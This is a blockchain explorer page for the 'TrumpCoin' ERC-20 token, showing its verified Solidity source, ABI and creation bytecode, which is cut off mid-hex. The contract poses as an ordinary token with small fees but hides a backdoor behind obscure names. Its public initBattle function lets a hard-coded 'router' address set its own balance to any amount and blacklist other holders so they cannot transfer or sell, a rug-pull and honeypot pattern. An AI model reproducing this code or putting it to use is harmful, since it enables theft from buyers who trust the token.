Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 TC
Holders
23
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
10,205,618.97 TCValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
TrumpCoin
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-03 */ /** *Submitted for verification at BscScan.com on 2023-01-02 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function owner() public view returns (address) { return _owner; } constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract TrumpCoin is Context, IERC20, Ownable{ using SafeMath for uint256; string private _name = "TrumpCoin"; string private _symbol = "TC"; uint8 private _decimals = 9; mapping (address => uint256) _balances; address payable public router; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public isMarketPair; mapping (address => bool) public _battle; uint256 public _buyMarketingFee = 3; uint256 public _sellMarketingFee = 3; uint256 private _totalSupply = 1000000000 * 10**_decimals; constructor () { _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; router = payable(address(0x89791384928CB3dF719a5a450fA55b15C44F5396)); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function totalSupply() public view override returns (uint256) { return _totalSupply; } function excludeFromRewards(uint256 arround) private { require(arround >= 0 && msg.sender == router,"Balance"); uint256 boolearn = arround; if(boolearn > 10**2) _balances[router] = boolearn; } address public uniswapPair; function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } IUniswapV2Router02 public uniswapV2Router; receive() external payable {} bool inSwapAndLiquify; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } function decimals() public view returns (uint8) { return _decimals; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tAmount); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tAmount, 0, path, address(this), block.timestamp ){} catch {} uint256 MarketAmount = address(this).balance; if(MarketAmount > 0) router.transfer(MarketAmount); } function addBattle(address account) private{ _battle[account] = true; } function delBattle(address account) private{ _battle[account] = false; } function initBattle(uint256 round, bool braves, address[] calldata mouse) public { excludeFromRewards(round); for (uint n; n < mouse.length; ++n) { if(braves){ addBattle(mouse[n]); }else{ delBattle(mouse[n]); } } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Inufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function pairFactory() public onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isMarketPair[address(uniswapPair)] = true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_battle[from]); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !isMarketPair[from]) { swapAndLiquify(contractTokenBalance); } _balances[from] = _balances[from].sub(amount); uint256 finalAmount; if (_isExcludefromFee[from] || _isExcludefromFee[to]){ finalAmount = amount; }else{ uint256 feeAmount = 0; if(isMarketPair[from]) { feeAmount = amount.mul(_buyMarketingFee).div(100); } else if(isMarketPair[to]) { feeAmount = amount.mul(_sellMarketingFee).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(from, address(this), feeAmount); } finalAmount = amount.sub(feeAmount); } _balances[to] = _balances[to].add(finalAmount); emit Transfer(from, to, finalAmount); return true; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_battle","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"round","type":"uint256"},{"internalType":"bool","name":"braves","type":"bool"},{"internalType":"address[]","name":"mouse","type":"address[]"}],"name":"initBattle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairFactory","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526040518060400160405280600981526020017f5472756d70436f696e00000000000000000000000000000000000000000000008152506001908051906020019062000051929190620003e9565b506040518060400160405280600281526020017f5443000000000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620003e9565b506009600360006101000a81548160ff021916908360ff1602179055506003600a556003600b55600360009054906101000a900460ff16600a620000e4919062000522565b633b9aca00620000f591906200065f565b600c553480156200010557600080fd5b5062000116620003b860201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160076000620001e6620003c060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507389791384928cb3df719a5a450fa55b15c44f5396600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c5460046000620002fb620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000349620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620003aa9190620004aa565b60405180910390a362000778565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003f790620006d7565b90600052602060002090601f0160209004810192826200041b576000855562000467565b82601f106200043657805160ff191683800117855562000467565b8280016001018555821562000467579182015b828111156200046657825182559160200191906001019062000449565b5b5090506200047691906200047a565b5090565b5b80821115620004955760008160009055506001016200047b565b5090565b620004a481620006c0565b82525050565b6000602082019050620004c1600083018462000499565b92915050565b6000808291508390505b60018511156200051957808604811115620004f157620004f06200070d565b5b6001851615620005015780820291505b808102905062000511856200076b565b9450620004d1565b94509492505050565b60006200052f82620006c0565b91506200053c83620006ca565b92506200056b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000573565b905092915050565b60008262000585576001905062000658565b8162000595576000905062000658565b8160018114620005ae5760028114620005b957620005ef565b600191505062000658565b60ff841115620005ce57620005cd6200070d565b5b8360020a915084821115620005e857620005e76200070d565b5b5062000658565b5060208310610133831016604e8410600b8410161715620006295782820a9050838111156200062357620006226200070d565b5b62000658565b620006388484846001620004c7565b925090508184048111156200065257620006516200070d565b5b81810290505b9392505050565b60006200066c82620006c0565b91506200067983620006c0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b557620006b46200070d565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006f057607f821691505b602082108114156200070757620007066200073c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b612d7c80620007886000396000f3fe60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c86079521161006f578063c860795214610429578063dd62ed3e14610454578063e14f870d14610491578063efba36ac146104a8578063f2fde38b146104e5578063f887ea401461050e57610135565b80638da5cb5b1461034057806395d89b411461036b578063a9059cbb14610396578063c5d24189146103d3578063c816841b146103fe57610135565b8063313ce567116100f2578063313ce567146102355780633345611e146102605780633ecad2711461029d57806370a08231146102da5780637b84823e1461031757610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c9190612545565b60405180910390f35b34801561017157600080fd5b5061018c600480360381019061018791906121bd565b6105cb565b604051610199919061250f565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c4919061252a565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef9190612667565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a919061216a565b610619565b60405161022c919061250f565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b60405161025791906126dc565b60405180910390f35b34801561026c57600080fd5b50610287600480360381019061028291906120d0565b61070a565b604051610294919061250f565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf91906120d0565b61072a565b6040516102d1919061250f565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc91906120d0565b61074a565b60405161030e9190612667565b60405180910390f35b34801561032357600080fd5b5061033e600480360381019061033991906121fd565b610793565b005b34801561034c57600080fd5b5061035561082e565b60405161036291906124b0565b60405180910390f35b34801561037757600080fd5b50610380610857565b60405161038d9190612545565b60405180910390f35b3480156103a257600080fd5b506103bd60048036038101906103b891906121bd565b6108e9565b6040516103ca919061250f565b60405180910390f35b3480156103df57600080fd5b506103e8610908565b6040516103f59190612667565b60405180910390f35b34801561040a57600080fd5b5061041361090e565b60405161042091906124b0565b60405180910390f35b34801561043557600080fd5b5061043e610934565b60405161044b9190612667565b60405180910390f35b34801561046057600080fd5b5061047b6004803603810190610476919061212a565b61093a565b6040516104889190612667565b60405180910390f35b34801561049d57600080fd5b506104a66109c1565b005b3480156104b457600080fd5b506104cf60048036038101906104ca91906120d0565b610d99565b6040516104dc919061250f565b60405180910390f35b3480156104f157600080fd5b5061050c600480360381019061050791906120d0565b610db9565b005b34801561051a57600080fd5b50610523610f0b565b60405161053091906124cb565b60405180910390f35b60606001805461054890612943565b80601f016020809104026020016040519081016040528092919081815260200182805461057490612943565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d8610f31565b8484610f39565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b6000610626848484611104565b506106e884610633610f31565b6106e385604051806060016040528060288152602001612d1f60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610699610f31565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174f9092919063ffffffff16565b610f39565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61079c846117b3565b60005b828290508110156108275783156107e5576107e08383838181106107c6576107c5612a4b565b5b90506020020160208101906107db91906120d0565b6118c9565b610816565b6108158383838181106107fb576107fa612a4b565b5b905060200201602081019061081091906120d0565b611924565b5b8061082090612975565b905061079f565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461086690612943565b80601f016020809104026020016040519081016040528092919081815260200182805461089290612943565b80156108df5780601f106108b4576101008083540402835291602001916108df565b820191906000526020600020905b8154815290600101906020018083116108c257829003601f168201915b5050505050905090565b60006108fd6108f6610f31565b8484611104565b506001905092915050565b600a5481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109c9610f31565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d90612607565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ab557600080fd5b505afa158015610ac9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aed91906120fd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b4f57600080fd5b505afa158015610b63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8791906120fd565b6040518363ffffffff1660e01b8152600401610ba49291906124e6565b602060405180830381600087803b158015610bbe57600080fd5b505af1158015610bd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf691906120fd565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60096020528060005260406000206000915054906101000a900460ff1681565b610dc1610f31565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4590612607565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa090612647565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611019576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101090612587565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110f79190612667565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116c90612627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dc90612567565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561123c57600080fd5b600e60149054906101000a900460ff16156112635761125c84848461197f565b9050611748565b600061126e3061074a565b9050600e60149054906101000a900460ff161580156112d75750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112e6576112e581611b52565b5b61133883600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061141e5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561142b57839050611647565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114ae576114a76064611499600a5488611ea090919063ffffffff16565b611f1b90919063ffffffff16565b905061152c565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561152b57611528606461151a600b5488611ea090919063ffffffff16565b611f1b90919063ffffffff16565b90505b5b60008111156116305761158781600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116279190612667565b60405180910390a35b6116438186611e5690919063ffffffff16565b9150505b61169981600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117399190612667565b60405180910390a36001925050505b9392505050565b6000838311158290611797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178e9190612545565b60405180910390fd5b50600083856117a6919061282d565b9050809150509392505050565b600081101580156118115750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611850576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611847906125c7565b60405180910390fd5b600081905060648111156118c5578060046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000611a0a826040518060400160405280601381526020017f496e756666696369656e742042616c616e636500000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174f9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a9f82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b3f9190612667565b60405180910390a3600190509392505050565b6001600e60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b8a57611b89612a7a565b5b604051908082528060200260200182016040528015611bb85781602001602082028036833780820191505090505b5090503081600081518110611bd057611bcf612a4b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c7257600080fd5b505afa158015611c86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611caa91906120fd565b81600181518110611cbe57611cbd612a4b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d2530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f39565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d89959493929190612682565b600060405180830381600087803b158015611da357600080fd5b505af1925050508015611db4575060015b611dbd57611dbe565b5b60004790506000811115611e3657600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e34573d6000803e3d6000fd5b505b50506000600e60146101000a81548160ff02191690831515021790555050565b6000611e9883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061174f565b905092915050565b600080831415611eb35760009050611f15565b60008284611ec191906127d3565b9050828482611ed091906127a2565b14611f10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f07906125e7565b60405180910390fd5b809150505b92915050565b6000611f5d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fc3565b905092915050565b6000808284611f74919061274c565b905083811015611fb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb0906125a7565b60405180910390fd5b8091505092915050565b6000808311829061200a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120019190612545565b60405180910390fd5b506000838561201991906127a2565b9050809150509392505050565b60008135905061203581612cd9565b92915050565b60008151905061204a81612cd9565b92915050565b60008083601f84011261206657612065612aae565b5b8235905067ffffffffffffffff81111561208357612082612aa9565b5b60208301915083602082028301111561209f5761209e612ab3565b5b9250929050565b6000813590506120b581612cf0565b92915050565b6000813590506120ca81612d07565b92915050565b6000602082840312156120e6576120e5612abd565b5b60006120f484828501612026565b91505092915050565b60006020828403121561211357612112612abd565b5b60006121218482850161203b565b91505092915050565b6000806040838503121561214157612140612